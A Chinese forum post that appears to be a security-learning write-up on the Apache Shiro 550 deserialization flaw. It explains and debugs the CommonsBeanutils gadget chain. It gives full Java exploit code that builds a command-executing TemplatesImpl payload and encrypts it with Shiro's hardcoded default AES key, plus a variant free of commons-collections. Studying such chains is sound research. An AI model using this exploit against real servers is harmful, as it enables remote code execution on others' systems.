Shiro反序列化分析

火影  金牌会员 | 2024-5-15 06:07:14 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 864|帖子 864|积分 2592

前言

Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带Commoncollections的,除此之外还带了一个包叫做CommonBeanUtils,主要利用类就在这个包里
环境搭建

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2
  1. <dependency>
  2.     <groupId>javax.servlet</groupId>
  3.     <artifactId>jstl</artifactId>
  4.     <version>1.2</version>
  5.     <scope>runtime</scope>
  6. </dependency>
复制代码
之后tomat搭起来就行了,选择sample-web.war

CB链分析

先回顾一下CC4
  1. * Gadget chain:
  2. *      ObjectInputStream.readObject()
  3. *          PriorityQueue.readObject()
  4. *              PriorityQueue.heapify()
  5. *                  PriorityQueue.siftDown()
  6. *                 PriorityQueue.siftDownUsingComparator()
  7. *                     TransformingComparator.compare()
  8. *                         InvokerTransformer.transform()
  9. *                             Method.invoke()
  10. *                                 TemplatesImpl.newTransformer()
  11. *                                     TemplatesImpl.getTransletInstance()
  12. *                                         Runtime.exec()
复制代码
CB链跟CC4的不同点就是从compare开始的,恰恰可以从CommonBeanUtils包里找到BeanComparator这个类

主要看PropertyUtils.getProperty这个方法可以任意类的get方法调用,可以调用任意bean(class)的一个get方法去获取nameproperty属性

写个demo测试一下
  1. package org.example;
  2. import org.apache.commons.beanutils.PropertyUtils;
  3. import java.lang.reflect.InvocationTargetException;
  4. public class User {
  5.     private String name;
  6.     private int age;
  7.     public User(String name, int age){
  8.         this.name = name;
  9.         this.age = age;
  10.     }
  11.     public String getName() {
  12.         System.out.println("Hello, getname");
  13.         return name;
  14.     }
  15.     public int getAge() {
  16.         System.out.println("Hello, getage");
  17.         return age;
  18.     }
  19.     public void setName(String name) {
  20.         this.name = name;
  21.     }
  22.     public void setAge(int age) {
  23.         this.age = age;
  24.     }
  25.     public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
  26.         PropertyUtils.getProperty(new User("F12", 18), "name");
  27.         PropertyUtils.getProperty(new User("F12", 18), "age");
  28.     }
  29. }
  30. // 输出
  31. Hello, getname
  32. Hello, getage
复制代码
这样就可以利用TemplatesImpl中的getOutputProperties方法,这里面可以触发任意类的实例化,从而执行命令,注意这个类须继承AbstractTranslet类,或则改掉父类的默认值,假如忘了请回顾CC3
依靠:
  1. <dependencies>
  2.         <dependency>
  3.             <groupId>commons-beanutils</groupId>
  4.             <artifactId>commons-beanutils</artifactId>
  5.             <version>1.8.3</version>
  6.         </dependency>
  7.         <dependency>
  8.             <groupId>org.apache.shiro</groupId>
  9.             <artifactId>shiro-core</artifactId>
  10.             <version>1.2.4</version>
  11.         </dependency>
  12.         <dependency>
  13.             <groupId>org.javassist</groupId>
  14.             <artifactId>javassist</artifactId>
  15.             <version>3.27.0-GA</version>
  16.         </dependency>
  17.         <dependency>
  18.             <groupId>commons-collections</groupId>
  19.             <artifactId>commons-collections</artifactId>
  20.             <version>3.2.1</version>
  21.         </dependency>
  22.         <dependency>
  23.             <groupId>commons-logging</groupId>
  24.             <artifactId>commons-logging</artifactId>
  25.             <version>1.1.1</version>
  26.         </dependency>
  27. </dependencies>
复制代码
  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import javassist.*;
  6. import org.apache.commons.beanutils.BeanComparator;
  7. import java.io.*;
  8. import java.lang.reflect.Field;
  9. import java.util.PriorityQueue;
  10. public class Test {
  11.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  12.         Field field = obj.getClass().getDeclaredField(fieldName);
  13.         field.setAccessible(true);
  14.         field.set(obj, value);
  15.     }
  16.     public static void serialize(Object obj) throws IOException {
  17.         FileOutputStream fis = new FileOutputStream("cb.bin");
  18.         ObjectOutputStream ois = new ObjectOutputStream(fis);
  19.         ois.writeObject(obj);
  20.     }
  21.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  22.         FileInputStream fis = new FileInputStream(filename);
  23.         ObjectInputStream ois = new ObjectInputStream(fis);
  24.         ois.readObject();
  25.     }
  26.     public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
  27.         ClassPool pool = ClassPool.getDefault();
  28.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  29.         CtClass ct = pool.makeClass("Cat");
  30.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  31.         ct.makeClassInitializer().insertBefore(cmd);
  32.         String randomClassName = "Evil" + System.nanoTime();
  33.         ct.setName(randomClassName);
  34.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  35.         TemplatesImpl obj = new TemplatesImpl();
  36.         setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
  37.         setFieldValue(obj, "_name", "F12");
  38.         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  39.         final BeanComparator beanComparator = new BeanComparator();
  40.         final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
  41.         priorityQueue.add(1);
  42.         priorityQueue.add(2);
  43.         setFieldValue(beanComparator, "property", "outputProperties");
  44.         setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
  45.         serialize(priorityQueue);
  46.         deserialize("cb.bin");
  47.     }
  48. }
复制代码
追踪一下链的过程,在PriorityQueue的readObject打个断点,开追,进入heapify

进入siftDown

进入siftDownUsingComparator

进入compare,到达关键点,获取TemplatesImpl的outputProperites属性

调用TemplatesImpl.getOutputProperites

进入newTransformer

进入getTransletInstance,到达世界最高城defineTransletClasses

背面就不看了,就是defineClass,至此CB链结束,还挺简单的
Shiro550分析

环境上面已经搭建好了,这里不说了
Shiro550用的其实就是CB链,这里只是有一些细节须要注意,Shiro的触发点是Cookie处解码时会进行反序列化,他天生的反序列化字符串是进行AES对称加密的,因此要在对数据进行一次AES加密,反序列化漏洞的利用就建立在知晓key的情况下,而shiro最初时,key是直接硬编码写在源码里的,全局搜serialize

可以看到这个DEFAULT_CIPHER_KEY_BYTES,amazing
  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import javassist.*;
  6. import org.apache.commons.beanutils.BeanComparator;
  7. import org.apache.shiro.crypto.AesCipherService;
  8. import org.apache.shiro.util.ByteSource;
  9. import java.io.*;
  10. import java.lang.reflect.Field;
  11. import java.nio.file.Files;
  12. import java.nio.file.Paths;
  13. import java.util.Base64;
  14. import java.util.PriorityQueue;
  15. public class Test {
  16.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  17.         Field field = obj.getClass().getDeclaredField(fieldName);
  18.         field.setAccessible(true);
  19.         field.set(obj, value);
  20.     }
  21.     public static void serialize(Object obj) throws IOException {
  22.         FileOutputStream fis = new FileOutputStream("cb.bin");
  23.         ObjectOutputStream ois = new ObjectOutputStream(fis);
  24.         ois.writeObject(obj);
  25.     }
  26.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  27.         FileInputStream fis = new FileInputStream(filename);
  28.         ObjectInputStream ois = new ObjectInputStream(fis);
  29.         ois.readObject();
  30.     }
  31.     public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
  32.         ClassPool pool = ClassPool.getDefault();
  33.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  34.         CtClass ct = pool.makeClass("Cat");
  35.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  36.         ct.makeClassInitializer().insertBefore(cmd);
  37.         String randomClassName = "Evil" + System.nanoTime();
  38.         ct.setName(randomClassName);
  39.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  40.         TemplatesImpl obj = new TemplatesImpl();
  41.         setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
  42.         setFieldValue(obj, "_name", "F12");
  43.         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  44.         final BeanComparator beanComparator = new BeanComparator();
  45.         final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
  46.         priorityQueue.add(1);
  47.         priorityQueue.add(2);
  48.         setFieldValue(beanComparator, "property", "outputProperties");
  49.         setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
  50.         serialize(priorityQueue);
  51.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
  52.         AesCipherService aes = new AesCipherService();
  53.         byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
  54.         ByteSource encrypt = aes.encrypt(bytes, key);
  55.         System.out.println(encrypt.toString());
  56.     }
  57. }
复制代码
但是直接报错了,报的是cc中的ComparableComparator的那个错,固然shiro中内置了CommonCollection的一部门,但是并不是所有,而org.apache.commons.collections.comparators.ComparableComparator这个类就在CC包里面,且在shiro中没有,所以寄

无依靠Shiro550 Attack

关键点在于compare方法,假如不指定comparator的话,会默认为cc中的ComparableComparator

因此我们须要指定一个Comparator

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强
可以找到AttrCompare
  1. package org.example;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
  6. import javassist.*;
  7. import org.apache.commons.beanutils.BeanComparator;
  8. import org.apache.commons.collections.map.CaseInsensitiveMap;
  9. import org.apache.shiro.crypto.AesCipherService;
  10. import org.apache.shiro.util.ByteSource;
  11. import sun.misc.ASCIICaseInsensitiveComparator;
  12. import java.io.*;
  13. import java.lang.reflect.Field;
  14. import java.nio.file.Files;
  15. import java.nio.file.Paths;
  16. import java.util.Base64;
  17. import java.util.Comparator;
  18. import java.util.PriorityQueue;
  19. public class Test {
  20.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  21.         Field field = obj.getClass().getDeclaredField(fieldName);
  22.         field.setAccessible(true);
  23.         field.set(obj, value);
  24.     }
  25.     public static void serialize(Object obj) throws IOException {
  26.         FileOutputStream fis = new FileOutputStream("cb.bin");
  27.         ObjectOutputStream ois = new ObjectOutputStream(fis);
  28.         ois.writeObject(obj);
  29.     }
  30.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  31.         FileInputStream fis = new FileInputStream(filename);
  32.         ObjectInputStream ois = new ObjectInputStream(fis);
  33.         ois.readObject();
  34.     }
  35.     public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
  36.         ClassPool pool = ClassPool.getDefault();
  37.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  38.         CtClass ct = pool.makeClass("Cat");
  39.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  40.         ct.makeClassInitializer().insertBefore(cmd);
  41.         String randomClassName = "Evil" + System.nanoTime();
  42.         ct.setName(randomClassName);
  43.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  44.         TemplatesImpl obj = new TemplatesImpl();
  45.         setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
  46.         setFieldValue(obj, "_name", "F12");
  47.         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  48.         final BeanComparator beanComparator = new BeanComparator();
  49.         final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
  50.         priorityQueue.add(1);
  51.         priorityQueue.add(2);
  52.         setFieldValue(beanComparator, "property", "outputProperties");
  53.         setFieldValue(beanComparator, "comparator", new AttrCompare());
  54.         setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
  55.         serialize(priorityQueue);
  56.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
  57.         AesCipherService aes = new AesCipherService();
  58.         byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
  59.         ByteSource encrypt = aes.encrypt(bytes, key);
  60.         System.out.println(encrypt.toString());
  61.     }
  62. }
复制代码
成功Attack


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

火影

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表